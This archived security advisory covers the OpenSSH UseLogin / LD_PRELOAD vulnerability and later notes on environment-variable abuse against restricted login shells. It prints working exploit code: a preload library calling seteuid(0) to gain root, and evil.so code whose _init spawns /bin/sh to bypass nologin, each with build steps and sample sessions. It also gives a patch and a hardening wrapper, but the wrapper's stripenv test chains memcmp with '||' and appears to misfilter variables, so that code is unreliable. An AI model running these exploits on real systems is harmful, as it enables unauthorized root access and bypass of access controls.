TUCoPS :: Unix :: General :: unix4895.htm

OpenSSH - sshd (and other ?) dynamically loaded library remote exploit
5th Dec 2001 [SBWID-4895]
COMMAND

	sshd (and other ?) dynamically loaded library remote exploit

SYSTEMS AFFECTED

	 All versions prior to OpenSSH 3.0.1 (including 3.0.1)

	 Last version 3.0.2 not vulnerable

	

	 Update (27 June 2002)

	 ======

	

	 The updated news by ari concerns all versions up to this date

PROBLEM

	Markus Friedl reported a bug regarding OpenSSH, enabling local attacks.
	

	Vulnerability is in the UseLogin option of OpenSSH. This option  is  not
	enabled in the default installation of OpenSSH.
	

	However, if UseLogin is enabled by the administrator,  all  versions  of
	OpenSSH prior to 3.0.2 may be vulnerable to local attacks.
	

	The vulnerability allows  local  users  to  pass  environment  variables
	(e.g. LD_PRELOAD) to the login process. The login process  is  run  with
	the same privilege as sshd (usually with root privilege).
	

	 Update

	 ======

	

	Exploit by [WaR] <war@genhex.org> / http://www.genhex.org :
	

	

	 Create a lib.c file with the next content:

	

	 ---8<---

	 #include <stdio.h>

	 int setuid(int uid){

	   printf(\"setuid() called...\\n\");

	   seteuid(0);

	 }

	 ---8<---

	

	 Compile it into a library:

	 gcc -c -o lib.o lib.c

	 ld -shared -o libroot.so lib.o

	 chmod 755 ./libroot.so

	

	

	 Now, for the tricky (*g*) part...

	

	 You must have an account on the machine, and create an entry

	 on $HOME/.ssh/authorized_keys (or authorized_keys2) with:

	

	 environment=\"LD_PRELOAD=<your home>/libroot.so\" <your public key>

	

	 When sshd receives your connection, it will export this variable

	 into the environment *BEFORE* running login. Somewhere after this,

	 it executes a setuid. When it does, it makes a seteuid(0).

	

	 $ id

	 uid=1000(war) gid=100(users) groups=100(users)

	 $ ssh war@localhost

	 Enter passphrase for key \'/home/war/.ssh/id_dsa\':

	 sh-2.04# id

	 uid=0(root) gid=100(users) groups=100(users)

	

	It also works remotely. Anyway,  you  _MUST_  have  an  account  on  the
	victim  machine  so  you  can  setup  the  enviroment,  and  login.  And
	obviously (duh) it must have UseLogin enabled.
	

	

	 Update (27 June 2002)

	 ======

	

	ari of episec [http://www.episec.com/people/edelkind/] adds :
	

	This  problem  is  not  necessarily  ssh-specific,  though  most  telnet
	daemons that support environment passing should  already  be  configured
	to remove dangerous variables due to a similar (and more serious)  issue
	back in \'95 (ref: [1]).  I will give ssh-based examples here.
	

	

	 *** scenario one:

	

	Let\'s say admin bob has a host that he wants to give people ftp  access
	to. Bob doesn\'t want anyone to have the ability to actually _log  into_
	his system, so instead  of  giving  users  normal  shells,  or  even  no
	shells, bob gives them all (say) /usr/sbin/nologin, a program  he  wrote
	himself in C  to  essentially  log  the  attempt  to  syslog  and  exit,
	effectively ending the user\'s  session.  As  far  as  most  people  are
	concerned, the user can\'t do much with this aside  from,  say,  setting
	up an encrypted tunnel.
	

	The thing is, bob\'s system uses dynamic libraries  (as  most  do),  and
	/usr/sbin/nologin is dynamically linked (as most such programs are).  If
	a  user  can  set  his  environment  variables  (e.g.  by  uploading   a
	\'.ssh/environment\' file) and put some arbitrary  file  on  the  system
	(e.g.  \'doevilstuff.so\'),  he  can   bypass   any   functionality   of
	/usr/sbin/nologin completely via LD_PRELOAD (or another  member  of  the
	LD_* environment family).
	

	The user can now gain a shell on the system (with  his  own  privileges,
	of  course,  barring  any   \'UseLogin\'   issues   (ref:   [2])),   and
	administrator bob, if he were aware of  what  just  occurred,  would  be
	extremely unhappy.
	

	Granted, there are all kinds of interesting ways to (more  or  less)  do
	away with this problem. Bob could just grit his teeth and give  the  ftp
	users a nonexistent shell,  or  he  could  statically  compile  nologin,
	assuming his operating system comes with  static  libraries.  Bob  could
	also, humorously, make his nologin program setuid and let  the  standard
	C library take care of the situation. Then, of course,  there  are  also
	the ssh-specific access controls  such  as  AllowGroup  and  AllowUsers.
	These may appease the situation  in  this  scenario,  but  it  does  not
	correct the problem.
	

	

	 *** scenario <n>:

	

	Now, what happens if bob, instead of using /usr/sbin/nologin,  wants  to
	use  (for  example)  some  BBS-type  interface  that  he  wrote  up   or
	downloaded? It can be a script written in perl or tcl or python,  or  it
	could be a compiled program; doesn\'t  matter.  Additionally,  bob  need
	not be running an ftp server on this host;  instead,  perhaps  bob  uses
	nfs or veritas to mount user home directories from a fileserver  on  his
	network; this exact setup is (unfortunately) employed  by  many  bastion
	hosts, password management hosts  and  mail  servers---to  name  a  few.
	Perhaps bob runs  an  ISP,  and  replaces  the  user\'s  shell  when  he
	doesn\'t pay. With all of these possible (and common) scenarios,  bob\'s
	going to  have  a  somewhat  more  difficult  time  getting  around  the
	problem.
	

	Compiling the program statically may not be an  option;  hell,  bob  may
	not have the source code, or even if  he  does,  he  may  not  have  the
	know-how to replace arbitrary system commands without  breaking  things.
	He could compile a static wrapper, assuming that  his  operating  system
	comes with static libraries, or he _could_ write a setuid  wrapper  that
	just calls setuid(getuid()) before  executing  the  menu-based  program,
	again to allow the C library to take care of his situation.  Still,  all
	of this may entail replacing arbitrary system  commands  that  may  have
	been previously explicitly set as user shells.
	

	Ideally, bob shouldn\'t need to take  such  seemingly  odd,  nonstandard
	precautions. Additionally, should his libc not properly  deal  with  the
	LD_* family for setuid programs, suddenly bob may find himself  with  an
	even larger (ahem, marginally larger) problem.
	

	I previously reported this problem to bugs@openbsd.org so  that  openssh
	would have a chance  to  take  care  of  the  situation  or  discuss  it
	further, and i had planned the same  for  ssh  communications.  However,
	markus@openbsd.org decided that this was unimportant, and carbon  copied
	the tech@openbsd.org mailing list with his opinion.
	

	Exploitation of the problem is simple. The circumvention code  would  be
	compiled into a dynamic library and  LD_PRELOAD=/path/to/evil.so  should
	be placed into ~user/.ssh/environment (a similar environment option  may
	be appended  to  public  keys  in  the  authohrized_keys  file).  If  no
	dynamically loadable programs are executed, this will have no effect.
	

	--- sample session of exploitation ---
	

	bobuser1% ssh bobserver

	evil@bobserver\'s password:

	

	    User evil is not allowed to log in here.  Please use one of

	    the bobuser systems for shell access and account maintenance.

	

	    For assistance, please call the help desk at extension 5432.

	

	Connection to bobserver closed.

	bobuser1% pwd

	/home/evil

	bobuser1% df -k |grep home

	bobfs:/home   [...]   [...]   [...]   68%   /home

	bobuser1% cat >evilso.c

	#include <unistd.h>

	

	void _init(void) {

		execl(\"/bin/sh\", \"sh\", 0);

	}

	^D

	bobuser1% gcc -o evilso.so -shared -nostdlib evilso.c -Wall

	bobuser1% echo \"LD_PRELOAD=/home/evil/evilso.so\" >.ssh/environment

	bobuser1% ssh bobserver

	evil@bobserver\'s password:

	$ unset LD_PRELOAD

	$ uname -n

	bobserver

	$ who am i

	evil

	$

	

	--- end sample session ---
	

	 Update (28 June 2002)

	 ======

	

	Ari adds :
	

	If /bin/sh is shared on your system as well. To  get  around  this,  try
	the following code for evil.so:
	

	

	#include <unistd.h>

	#include <stdlib.h>

	

	void _init (void) {

		unsetenv(\"LD_PRELOAD\");

		execl(\"/bin/sh\", \"sh\", 0);

	}

	

SOLUTION

	Upgrade to version 3.0.2.
	

	 Workaround

	 ==========

	

	Do not enable UseLogin on your machines or  disable  UseLogin  again  in
	/etc/sshd_config:
	

	UseLogin no

	

	

	The following patch fixes the UseLogin vulnerability  in  OpenSSH  3.0.1
	and earlier releases.
	

	

	--- session.c	11 Oct 2001 13:45:21 -0000	1.108

	+++ session.c	1 Dec 2001 22:14:39 -0000

	@@ -875,6 +875,7 @@

	 		child_set_env(&env, &envsize, \"TZ\", getenv(\"TZ\"));

	 

	 	/* Set custom environment options from RSA authentication. */

	+	if (!options.use_login)

	 	while (custom_environment) {

	 		struct envstring *ce = custom_environment;

	 		char *s = ce->s;

	

	

	

	 Update (27 June 2002)

	 ======

	

	In the light of ari comments :
	

	First and foremost, allow only specific  users  (AllowUsers)  or  groups
	(AllowGroups) login access with ssh controls, if  this  is  feasible  on
	your network. This would be  the  best  workaround,  but  it  is  not  a
	solution to the problem.
	

	ISPs and universities  (along  with  similarly  affected  organizations)
	should  compile  their  rejection  (or  otherwise  restricted)  binaries
	statically  (assuming  your   operating   system   comes   with   static
	libraries).  A  sample  static/setuid  wrapper  is  appended,   and   an
	alternate static wrapper is given in [1].
	

	Ideally, sshd (and all remote access programs that allow  user-definable
	environments) should strip any environment settings  that  libc  ignores
	for setuid programs.
	

	A sample wrapper is given  below,  along  with  compiling  instructions.
	References follow.
	

	--- sample wrapper ---
	

	/* This is a shell wrapper to remove variables from the login

	 * environment before executing the desired shell.

	 * 

	 * While this program should preferably be statically compiled, it was

	 * also written to accomodate those systems that do not ship with static

	 * libraries.  If your system does not have static libraries, make the

	 * binary setuid-someuser (may be non-root) instead.

	 */

	

	#include <unistd.h>

	#include <string.h>

	#include <stdio.h>

	

	/* include appended slash */

	#define PREPATH    \"/realshells/\"

	

	void stripenv(envp)

		char **envp;

	{

		/* the following entries are based on Lawrence R. Rogers\'

		 * wrapper in cert advisory CA-1995-14 */

	

		register char **p1, **p2;

	

		for (p1 = p2 = envp; *p1; p1++) {

			if (memcmp(*p1, \"LD_\", 3) ||

			    memcmp(*p1, \"_RLD\", 4) ||

			    memcmp(*p1, \"LIBPATH=\", 8) ||

			    memcmp(*p1, \"ELF_LD_\", 7) ||

			    memcmp(*p1, \"AOUT_LD_\", 8) ||

			    memcmp(*p1, \"IFS=\", 4)) continue;

	

			*p2++ = *p1;

		}

		*p2 = 0;

	}

	

	

	int main(argc, argv, envp)

		int argc;

		char **argv;

		char **envp;

	{

		int fnl, ppl;

	

		if (setuid(getuid())) {

			perror(\"setuid\");

			fflush(stderr);

			_exit(1);

		}

	

		if (*argv[0] != \'-\') {

			/* not a login shell */

			_exit(1);

		}

	

		fnl = strlen(argv[0]) - 1;  /* minus prepended dash */

		ppl = strlen(PREPATH);

	

		{

			char fn[fnl + ppl + 1];

			memcpy (fn, PREPATH, ppl);

			memcpy (fn + ppl, (argv[0] + 1), fnl);

			*(fn + ppl + fnl) = 0;

	

			stripenv(envp);

			execve (fn, argv, envp);

			perror(fn);

			fflush(stderr);

			_exit(1);

		}

	

	}

	

	--- end sample setuid wrapper ---
	

	

	[the following instructions are generalizations  and  will  need  to  be
	adjusted for some operating systems]
	

	If your system supports static libraries:
	

	  Compiling (with gcc):

	

		% gcc -o swrapper swrapper.c -O -static -s -Wall

		% ldd swrapper

		ldd: tcsh: not a dynamic executable

	

	  Example setup:

	

		# mkdir /realshells

		# ls -l /usr/sbin/nologin

		-rwxr-x--x   1 root   root  5400 Dec 31  1999 /usr/sbin/nologin

		# cp /usr/sbin/nologin /realshells/

		# cp swrapper /usr/sbin/nologin

		# ls -l /usr/bin/menulogin

		-rwxr-x--x   1 root   root 19200 Dec 31  1999 /usr/bin/menulogin

		# cp /usr/bin/menulogin /realshells/

		# cp swrapper /usr/bin/menulogin

	

	If your system does not support static libraries:
	

	  Compiling (with gcc):

	

		% gcc -o swrapper swrapper.c -O -s -Wall

	

	  Example setup:

	

		(follow setup for statically-blessed systems, plus:)

		# chown user:group /usr/sbin/nologin /usr/bin/menulogin

		# chmod 4111 /usr/sbin/nologin /usr/bin/menulogin

		# ls -l /usr/sbin/nologin /usr/bin/menulogin

		---s--x--x   1 user  group  4096 Jun 24 01:01 /usr/sbin/nologin

		---s--x--x   1 user  group  4096 Jun 24 01:01 /usr/bin/menulogin

	

	 \'user\' and \'group\' may be the user and group of your preference.

	

	

	

	References:

		[1] CERT Advisory CA-1995-14,

		    http://www.cert.org/advisories/CA-1995-14.html

		[2] SecurityFocus bugtraq id 3614,

		    http://online.securityfocus.com/bid/3614

	

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH